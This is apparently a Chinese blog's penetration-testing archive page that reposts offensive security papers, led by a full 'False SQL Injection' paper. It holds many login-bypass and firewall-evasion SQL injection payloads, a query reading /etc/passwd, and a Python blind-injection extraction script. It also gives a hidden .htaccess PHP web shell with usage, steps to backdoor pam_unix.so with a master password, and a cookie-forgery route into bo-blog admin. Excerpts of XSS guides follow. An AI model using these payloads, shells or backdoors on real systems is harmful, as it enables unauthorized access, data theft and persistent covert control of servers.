存档

‘渗透测试’ 分类的存档

False SQL Injection and Advanced Blind SQL Injection

2011年12月22日 admin     211 views 没有评论

http://www.exploit-db.com/papers/18263/

False SQL Injection and Advanced Blind SQL Injection

#########################################################################
#                                    #
# Exploit Title: False SQL injection and advanced blind SQL injection    #
# Date: 21/12/2011                            #
# Author: wh1ant                            #
# Company: trinitysoft                            #
# Group: secuholic                            #
#                                    #
#       ###                                       ##           #
#     ######                                    ######         #
#    ##    ##                                  ###   ##        #
#           ##                                ##               #
#            ###                            ###                #
#             ###                          ###                 #
#              ###   #                #   ###                  #
#                ############   ###########                    #
#               ############################                   #
#              ##############################                  #
#              #############################                   #
#             # ############################ #                 #
#              # ####   ############   #### #                  #
#               # #####  ##########  ##### #                   #
#                # ###################### ##                   #
#                ## #################### ##                    #
#                 ## ################## ##                     #
#                # ## ################ ## #                    #
#                 # ## ############## ## #                     #
#                 ## ## ############ ## ##                     #
#              ## ## ########## ## ##                      #
#                    # ## ######## ## #                        #
#                       ## ###### ##                           #
#                        ## #### ##                            #
#                         ## ## ##                             #
#                        ##      ##                            #
#                        ##      ##                            #
#                         ###  ###                   #
#                                    #
#########################################################################

This document is written for publicizing of new SQL injection method about detour some web firewall or some security solution. I did test on a web firewall made in Korean, most SQL injection attack was hit, I will not reveal the maker for cutting its damage.

In order to read this document, you have to understand basic MySQL principles. I classified the term “SQL Injection” as 2 meanings. The first is a general SQL Injection, we usually call this “True SQL Injection”, and the second is a “False SQL Injection”. Though in this documentation, you can know something special about “True SQL Injection”

And I mean to say it’s true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in “Blind SQL Injection”. A tested environment was as follow.

ubuntu server    11.04
mysql        5.1.54-1
Apache        2.2.17
PHP        5.3.5-1

A tested code was as follow.

<?php

/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

insert into users values(1, ‘admin’, ‘ad1234′);
insert into users values(2, ‘wh1ant’, ‘wh1234′);
insert into users values(3, ‘secuholic’, ‘se1234′);

*** login.php ***
*/

if(empty($_GET['id']) || empty($_GET['password'])){
echo “<html>”;
echo “<body>”;
echo “<form name=’text’ action=’login.php’ method=’get’>”;
echo “<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=’text’ name=’id’><br>”;
echo “PASS<input type=’password’ name=’password’><br></h4>”;
echo “<input type=’submit’ value=’Login’>”;
echo “</form>”;
echo “</body>”;
echo “</html>”;
}

else{
$id = $_GET['id'];
$password = $_GET['password'];

$dbhost = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘pass’;
$database = ‘injection_db’;

$db = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($database,$db);
$sql = mysql_query(“select * from users where id=’$id’ and password=’$password’”) or die (mysql_error());

$row = mysql_fetch_array($sql);

if($row[id] && $row[password]){
echo “<font color=#FF0000><h1>”.”Login sucess”.”</h1></u><br>”;
echo “<h3><font color=#000000>”.”Hello, “.”</u>”;
echo “<font color=#D2691E>”.$row[id].”</u></h3><br>”;
}
else{
echo “<script>alert(‘Login failed’);</script>”;
}
mysql_close($db);
}

?>

First, basic SQL Injection is as follow.
‘ or 1=1#

The code above is general SQL Injection Code, and this writer classified the code as “True SQL Injection”. When you log on to some site, in internal of web program, your id and password are identified by some statement used “select id, password from table where id=” and password=”, you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.

‘=0#

We can apply it in a different way.

This is possible as 0>-1
‘>-1#

Also, this is possible as 0<1
‘<1#

You don’t have to use only single figures. You can use two figures attack as follow.
1′<99#

Comparison operation 0=1 will be 0, the following operation result is true because of id=”=0(0=1).

‘=0=1#

Additionally there is some possible comparison operation making the same value each other.

‘<=>0#

Like this, if you use the comparison operation, you can attack as additional manner.

‘=0=1=1=1=1=1#
‘=1<>1#
‘<>1#
1′<>99999#
‘!=2!=3!=4#

In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.

mysql> select * from users;
+—–+———–+———-+
| num | id        | password |
+—–+———–+———-+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+—–+———–+———-+
3 rows in set (0.01 sec)

This shows the contents in any table without any problem.
The following is the content when you don’t input any value in the id

mysql> select * from users where id=”;
Empty set (0.00 sec)

Of course there is not result because id field dosen’t have any string.
In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.

mysql> select * from users where id=0;
+—–+———–+———-+
| num | id        | password |
+—–+———–+———-+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+—–+———–+———-+
3 rows in set (0.00 sec)

If you input 0 in id, All the content is showed. This is the basic about “False SQL Injection”. After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise  operations and arithmetic operations.

Once I’ll show bitwise operation example.

Or bitwise operation is well known for any programmer. And as I told you before, ” is 0, if you operate “0 bitwise OR 0″, the result is 0. So the following operation succeed log on as the False SQL Injection.
‘|0#

Naturally, you can use AND operation.
‘&0#

This is the attack using XOR
‘^0#

Also using shift operation is enable.
‘<<0#
‘>>0#

If you apply like those bitwise operations, you can use variable attack methods.
‘&”#
‘%11&1#
‘&1&1#
‘|0&1#
‘<<0|0#
‘<<0>>0#

In this time, I will show “False SQL Injection” using arithmetic operations.
If the result is 0 using arithmetic operation with ”, attack will be success. The following is the example using arithmetic operation.

‘*9#
Multiplication

‘/9#
Division.

‘%9#
Mod

‘+0#
Addition

‘-0#
Subtraction

Significant point is that the result has to be under one. Also you can attack as follow.
‘+2+5-7#
‘+0+0-0#
‘-0-0-0-0-0#
‘*9*8*7*6*5#
‘/2/3/4#
‘%12%34%56%78#
‘/**/+/**/0#
‘—–0#
‘+++0+++++0*0#

Next attack is it using fucntion. In this document, I can’t show all the functions. Because this attack is not difficult, you can use the “True, False SQL Injection” attack with function as much as you want. And whether this attack is “True SQL Injection” or “False SQL Injection” is decided on the last operation after return of function.
‘<hex(1)#
‘=left(0×30,1)#
‘=right(0,1)#
‘!=curdate()#
‘-reverse(0)#
‘=ltrim(0)#
‘<abs(1)#
‘*round(1,1)#
‘&left(0,0)#
‘*round(0,1)*round(0,1)#

Also, you can use attack using space in function name. But you are able to use the space with only some function.
‘=upper     (0)#

In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.
‘ <1 and 1#
‘xor 1#
‘div 1#
‘is not null#
admin’ order by’
admin’ group by’
‘like 0#
‘between 1 and 1#
‘regexp 1#

Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, –, /**/, so the method is more effective in the Web Firewalls.
ID  : ‘=’
PASS: ‘=’

ID  : ‘<>’1
PASS: ‘<>’1

ID  : ‘>1=’
PASS: ‘>1=’

ID  : 0′=’0
PASS: 0′=’0

ID  : ‘<1 and 1>’
PASS: ‘<1 and 1>’

ID  : ‘<>ifnull(1,2)=’1
PASS: ‘<>ifnull(1,2)=’1

ID  : ‘=round(0,1)=’1
PASS: ‘=round(0,1)=’1

ID  : ‘*0*’
PASS: ‘*0*’

ID  : ‘+’
PASS: ‘+’

ID  : ‘-’
PASS: ‘-’

ID  :’+1-1-’
PASS:’+1-1-’

All attacks used in the documentation will be more effective with using bracket when detouring web firewall.
‘+(0-0)#
‘=0<>((reverse(1))-(reverse(1)))#
‘<(8*7)*(6*5)*(4*3)#
‘&(1+1)-2#
‘>(0-100)#

Let’s see normal SQL Injection attack.
‘ or 1=1#

If this is translated in hexdemical, the result is as follow.

http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234

Like attack above is basically filtered. So that’s not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.

The possible values are as follow.
%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

The following is the example using %a0 instead of %20.

http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234

In this time, I will show “Blind SQL injection” attack, this attack can’t detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.

The following attack code can be used on log on page. And the page will show id and password.
‘union select 1,group_concat(password),3 from users#

This attack code brings /etc/password information.
‘union select 1,load_file(0x2f6574632f706173737764),3 from users#

Dare I say it without union select statement using Blind SQL injection with and operation is possible.

The result of record are three.
admin’ and (select count(*) from users)=3#

Let’s attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.

<?php

/*** info.php ***/

$n = $_GET['num'];
if(empty($n)){
$n = 1;
}

$dbhost = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘root’;
$database = ‘injection_db’;

$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($database,$db);
$sql = mysql_query(“select * from `users` where num=”.$n) or die (mysql_error());
$info = @mysql_fetch_row($sql);
echo “<body bgcolor=#000000>”;
echo “<h1><font color=#FFFFFF>wh1ant</font>”;
echo “<font color=#2BF70E> site for blind SQL injection test</h1><br>”;
echo “<h1><font color=#2BF70E>num: </font><font color=#D2691E>”.$info[0].”</font></h1>”;
echo “<h1><font color=#2BF70E>user: </font><font color=#D2691E>”.$info[1].”</font>”;
echo “<body>”;
mysql_close($db);

?>

Basic Blind SQL Injection is as follow on like above.

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

But using = operation is possible for Blind SQL Injection.

http://192.168.137.129/info.php?num=1=0

http://192.168.137.129/info.php?num=1=1

Also other operation is possible naturally.

http://127.0.0.1/info.php?num=1<>0

http://127.0.0.1/info.php?num=1<>1

http://127.0.0.1/info.php?num=1<0

http://127.0.0.1/info.php?num=1<1

http://127.0.0.1/info.php?num=1*0*0*1

http://127.0.0.1/info.php?num=1*0*0*0

http://127.0.0.1/info.php?num=1%1%1%0

http://127.0.0.1/info.php?num=1%1%1%1

http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1

http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1

http://127.0.0.1/info.php?num=1^0

http://127.0.0.1/info.php?num=1^1

Attack example:
http://127.0.0.1/info.php?num=0^(locate(0×61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0×61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)

http://127.0.0.1/info.php?num=0^(id=0x61646d696e)

http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.

#!/usr/bin/python

### blind.py ###

import urllib
import sys
import os

def put_data(true_url, true_result, field, index, length):
for i in range(1, length+1):
for j in range(32, 127):
attack_url = true_url + “^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)” % (j,field,index,i,i)
attack_open = urllib.urlopen(attack_url)
attack_result = attack_open.read()
attack_open.close()

if attack_result==true_result:
ch = “%c” % j
sys.stdout.write(ch)
break
print “\t\t”,

def get_length(false_url, false_result, field, index):
i=0
while 1:
data_length_url = false_url + “^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)” % (field,index,i)
data_length_open = urllib.urlopen(data_length_url)
data_length_result = data_length_open.read()
data_length_open.close()
if data_length_result==false_result:
return i
i+=1

url = “http://127.0.0.1/info.php”

true_url = url + “?num=1″
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()

false_url = url + “?num=0″
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()

print “num\t\tid\t\tpassword”
fields = “num”, “id”, “password”

for i in range(1, 4):
for j in range(0, 3):
length = get_length(false_url, false_result, fields[j], i)
length = put_data(false_url, true_result, fields[j], i, length)
print “”

To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack.

# Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt

[EOF]

分类: 渗透测试 标签:

LFI WITH PHPINFO() ASSISTANCE

2011年9月14日 admin     671 views 没有评论

LFI WITH PHPINFO() ASSISTANCE
LFI WITH PHPINFO() ASSISTANCE.pdf

分类: 渗透测试 标签: ,

Blind Sql Injection with Regular Expressions Attack

2011年6月22日 admin     1,237 views 没有评论

Powered by IHTeam
Site: www.ihteam.net
PHP example code
This paper
Authors:
Simone ‘R00T_ATI’ Quatrini
Marco ‘white_sheep’ Rondini

 

Blind Sql Injection – Regular Expressions Attack
Blind Sql Injection with Regular
Expressions Attack
Powered by IHTeam
Site: www.ihteam.net
PHP example code
This paper
Authors:
Simone ‘R00T_ATI’ Quatrini
Marco ‘white_sheep’ Rondini
1/9
Blind Sql Injection – Regular Expressions Attack
Index
Why blind sql injection?……………………………………………………………………………………………………….3
How blind sql injection can be used?………………………………………………………………………………………3
Testing vulnerability (MySQL – MSSQL):…………………………………………………………………………….3
Time attack (MySQL)……………………………………………………………………………………………………………3
Time attack (MSSQL)…………………………………………………………………………………………………………..4
Regexp attack’s methodology………………………………………………………………………………………………….5
Finding table name with Regexp attack (MySQL)…………………………………………………………………5
Finding table name with Regexp attack (MSSQL)…………………………………………………………………6
Exporting a value with Regexp attack (MySQL)…………………………………………………………………..7
Exporting a value with Regexp attack (MSSQL)…………………………………………………………………..7
Time considerations……………………………………………………………………………………………………………..8
Bypassing filters………………………………………………………………………………………………………………….9
Real life example…………………………………………………………………………………………………………………9
Conclusions………………………………………………………………………………………………………………………..9
阅读全文…

用.htaccess做更隐蔽的后门

2011年5月20日 admin     1,418 views 3 条评论

作者:kindle

From:http://key0.cn/?p=285

万恶的引用功能,下文复制粘贴无用,请自行将双引号修改

.htaccess内容如下

#首先允许web访问这个文件
<Files ~ “^\.ht”>
Order allow,deny
Allow from all
</Files>

RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性

AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展

### SHELL ### <?php echo “\n”;passthru($_GET['c'].” 2>&1″); ?>### KINDLE ###
#恶意的php代码

使用方法:http://localhost/.htaccess/?c=dir

分类: 渗透测试 标签: , ,

Backdoor on Pam module pam_unix.so

2011年5月10日 admin     1,229 views 没有评论

来源:http://hi.baidu.com/p3rlish/blog/item/51c6b22e01c64a5d4ec22640.html

这个东西,08年的时候某牛给我讲解过一次,不过没这么通俗易懂,今天看到之后发现这个写的还是不错的,分享一下

In this article I will show you how to modify the PAM module pam_unix.so to let us log on a system (Via SSH per example) using a master password, which can be used with every login on the box.

1. Download PAM Source

ftp://ftp.kernel.org/pub/linux/libs/pam/library/Linux-PAM-1.1.1.tar.gz

2. Unzip and edit the source file we are interested (pam_unix_auth.c)

tar -xvzf Linux-PAM-1.1.1.tar.gz
pico Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c

3. Search in the file the next string

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);

4. Just after these lines add the next piece of code

if (strcmp(p,”secpass”)==0 ){retval = PAM_SUCCESS;}

Where secpass is the second password (our secret password). With this modification every login with a valid user on the system will accept this password ( root inclusive).

5. Go to the main source directory to configure and compile

./configure
make

This create our needed module in modules/pam_unix/.libs/pam_unix.so 阅读全文…

分类: 渗透测试 标签:

Guidebook On Cross Site Scripting

2011年5月9日 admin     1,629 views 1 条评论

From:http://packetstormsecurity.org/files/view/99770/ixss.txt

// Best Viewed in Notepad++ with word wrap enabled :)

A Tribute To My Mother Land

” INDIA ”
**********************************************************
We should be thankful and remember the bravery of Maharaja
Prithvi Raj Chauhan, Maharana Pratap, Chandra Shekhar Azad,
Bhagat Singh, Rajguru, Sukhdev and all those who vanished
their lives for the sake of freedom and sanctity of the
land named Hindustan (collectively India, Pakistan &
Bangladesh).

We might remember the intrepid spirit who stood an army
named “Azad Hind Fauj” from prisoners of world war II far
from India and fought for our freedom, The Great Subhash
Chandra Bose. Remember His Words of inspiration

“Tum mujhe khoon do, main tumhe azaadi doonga”

We might get inspired by their great lifestyles and follow
their thoughts.
**********************************************************

Important!… Warning!!!
The author do not take responsibility, if anyone, tries
these hacks against any organization or whatever that makes
him to trespass the security measures and brings him under
the legal prosecution. These hacks are intended for the
improvement of security and for investigations by legal
security agencies. For educational institutions it is
hereby requested that they should prevent their students
from using the tools provided in this paper against the
corporate world. This paper is the proof-of-concept and
must be treated as it is.

<|-[___________________________________________________________________________]-|>
-                                                                                     -
-                              [ Cross Site scripting  ]                              -
-                             By Ankit Anand [CrazyAnkit ]                            -
-                                                                             -
<|-[___________________________________________________ ________________________]-|>

# Written On 26 March 2011
# Author : Ankit Anand
[ koolankit1993@gmail.com , ankitthehacker.wordpress.com
# Written For Indishell.in ; Hackerz5.com ; r00tp0is0n.in
# Greetz Fly Out to :  RJ D Indian ,cyb3r_shubham , cyb3rs4m ,l0c4l r00t , LuCky , c00lt04d, reb0rn, 3thic4l n00b , darkw0lf , ne0

// Reference : Exploit-db , Aoh [Orkut] , Google ;)

–==+================================================================================+==–
–==+                     Dedicated To My Loving parents                             +==–
–==+================================================================================+==–

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x
Feel Free To Share This White paper , knowledge is for sharing , But Respect Author’s Hardwork . Give Proper Credits !

=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====xx=====x

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>
|–( I   ]> Introduction
0×01: Introduction
0×02: Finding The xss Vulnerable Websites
0×03: Executing Xss Commands
0×04: Bypass techniques
0×05: Damages By Xss
\_ 1.) Inject a Phishing script
\_ 2.) Iframe Phishing
\_ 3.) Redirict Phishing
\_ 4.) Cookie stealing
\_ 5.) Defacing
\_ Xss Cheat Sheet
0×06 : Fixing Xss Holes
0×07:  [The End]
|_| Conclusions

<~-.,~~~~~~~~~~~~~~~~~~~~~~~~~~~~,.-~>

阅读全文…

Faster Blind MySQL Injection Using Bit Shifting

2011年4月4日 admin     1,187 views 1 条评论

Faster Blind MySQL Injection Using Bit Shifting
###
# http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html for a HTML version
# Made by Jelmer de Hen
# H.ackAck.net
#####

While strolling through mysql.com I came across this page http://dev.mysql.com/doc/refman/5.0/en/bit-functions.html.

There you can view the possibility of the bitwise function right shift.

A bitwise right shift will shift the bits 1 location to the right and add a 0 to the front.

Here is an example:

mysql> select ascii(b’00000010′);
+——————–+
| ascii(b’00000010′) |
+——————–+
| 2 |
+——————–+
1 row in set (0.00 sec)

Right shifting it 1 location will give us:

mysql> select ascii(b’00000010′) >> 1;
+————————-+
| ascii(b’00000010′) >> 1 |
+————————-+
| 1 |
+————————-+
1 row in set (0.00 sec)

It will add a 0 at the front and remove 1 character at the end.
00000010 = 2
00000010 >> 1 = 00000001
^ ^
0 shifted

So let’s say we want to find out a character of a string during blind MySQL injection and use the least possible amount of requests and do it as soon as possible we could use binary search but that will quickly take a lot of requests.
First we split the ascii table in half and try if it’s on 1 side or the other, that leaves us ~64 possible characters.
Next we chop it in half again which will give us 32 possible characters.
Then again we get 16 possible characters.
After the next split we have 8 possible characters and from this point it’s most of the times guessing or splitting it in half again.

Let’s see if we can beat that technique by optimizing this – but first more theory about the technique I came up with.

There are always 8 bits reserved for ASCII characters.
An ASCII character can be converted to it’s decimal value as you have seen before:
阅读全文…

关于boblog任意变量覆盖漏洞的利用

2011年3月13日 admin     1,293 views 3 条评论

之前的Ryat牛在《bo-blog任意变量覆盖漏洞》一文介绍了漏洞的成因,虽然没有直接给出poc或者exp,给出了一个利用可以通过data://来执行命令的方法。
但是符合条件的网站毕竟不多所以不好用,但是分析一下源码或者google一下找到个sql注射漏洞就解决了问题,通过一个注射点爆出管理员密码的md5 hash,通过暴力破解或者cookie欺骗进后台,添加管理员帐号,然后利用网上公开的那个上传的exp上传php文件,就搞定了。
但是其实根本就没有必要用那个什么上传的exp,后来可能官方已经修补了那个上传的bug,但是直接在用户管理那用户组管理那,给管理员组上传的后缀名加上php就好了。也不用添加用户,或者修改密码了,直接从正门上传php多好。

但是2.1.2 beta 2后cookie欺骗后会发现还让输入密码,问题是管理员密码破解不出来,因为大牛的安全意识都很高,用变态的密码,一度以为boblog修补了cookie漏洞。

官方:
2011/02/20 V2.1.2.0220.0 (2.1.2 beta 1)
*每次会话的首次登入后台都需要验证管理员密码。
*修改了一些过滤方法,避免某些安全问题。
*实验性的与内容长度相关的垃圾信息检测方式。

但是其实还是可以进行cookie欺骗进入后台的
只不过不仅仅要
setcookie (‘userid’, ‘userid’,);
setcookie (‘userpsw’, ‘md5密文’, );
而且要
setcookie (‘adminuserid’, ‘userid’,);
setcookie (‘adminuserpsw’, ‘md5密文’, ); 阅读全文…

Advanced SQL injection to operating system full control

2011年2月17日 admin     1,593 views 没有评论

From:http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf

Advanced SQL injection to operating system full control
Bernardo Damele Assumpção Guimarães
bernardo.damele@gmail.com
April 10, 2009

This white paper discusses the security exposures of a server that occur due to a SQL injection flaw in a web application that communicate with a database.
Over ten years have passed since a famous hacker coined the term SQL injection and it is still considered one of the major application threats.A lot has been said on this vulnerability, but not all of the aspects and implications have been uncovered, yet.
This paper aim is to collate some of the existing knowledge, introduce new techniques and demonstrate how to get complete control over the database management system’s underlying operating system, file system and internal network through a SQL injection vulnerability in over-looked and theoretically not exploitable scenarios.

Contents
I Introduction
1 SQL injection
2 Web application scripting languages
2.1 Batched queries
3 Batched queries via SQL injection
3.1 MySQL
3.2 PostgreSQL
3.3 Microsoft SQL Server

II File system access
4 Read access
4.1 MySQL
4.2 PostgreSQL
4.3 Microsoft SQL Server
5 Write access
5.1 MySQL
5.2 PostgreSQL
5.3 Microsoft SQL Server
III Operating system access
6 User-Defined Function
7 UDF injection
7.1 MySQL
7.1.1 Shared library creation
7.1.2 SQL injection to command execution
7.2 PostgreSQL
7.2.1 Shared library creation
7.2.2 SQL injection to command execution
8 Stored procedure
8.1 Microsoft SQL Server
8.1.1 xp_cmdshell procedure
8.1.2 SQL injection to command execution

IV  Out-of-band connection
9 Stand-alone payload stager
9.1 Payload stager options
9.2 Session
10 SMB relay attack
10.1 Universal Naming Convention
10.2 Abuse UNC path requests
10.2.1 MySQL
10.2.2 PostgreSQL
10.2.3 Microsoft SQL Server

11 Stored procedure buffer overflow
11.1 Exploit
11.2 Memory protection
11.3 Bypass DEP

V Privilege escalation
VI Conclusion
12 Acknowledgments
阅读全文…

Advanced XSS Knowledge

2011年1月10日 admin     2,129 views 没有评论

<|-[___________________________________________________________________________]-|>
-                                                                             -
-                          [ Advanced XSS Knowledge ]                         -
-                             written by novaca!ne                            -
-                                                                             -
<|-[___________________________________________________________________________]-|>

# Author: novaca!ne
# Date:   23.03.2010

.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.
Contact: novacaine@no-trace.cc  °
Website: www.novacaine.biz      .
°
Artwork by: Vincenzo            .
°
Greetz fly out to:              .
°
Vincenzo, J0hn.X3r, fred777,    .
h0yt3r, Easy Laster, td0s,      °
Lorenz, Montaxx, maoshe, Palme  .
and free-hack.com               °
.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.

.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.
Index:                                °
–(  I  ]> Introduction               .
°
–( II  ]> What exactly is XSS ?      .
°
–( III ]> How to execute XSS commands.
°
–( IV  ]> Bypass techniques          .
°
–(  V  ]> What can we do with XSS ?  .
°
–( VI  ]> How to fix XSS leakages    .
°
–( VII ]> Cheat Sheets               .
°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°.°

阅读全文…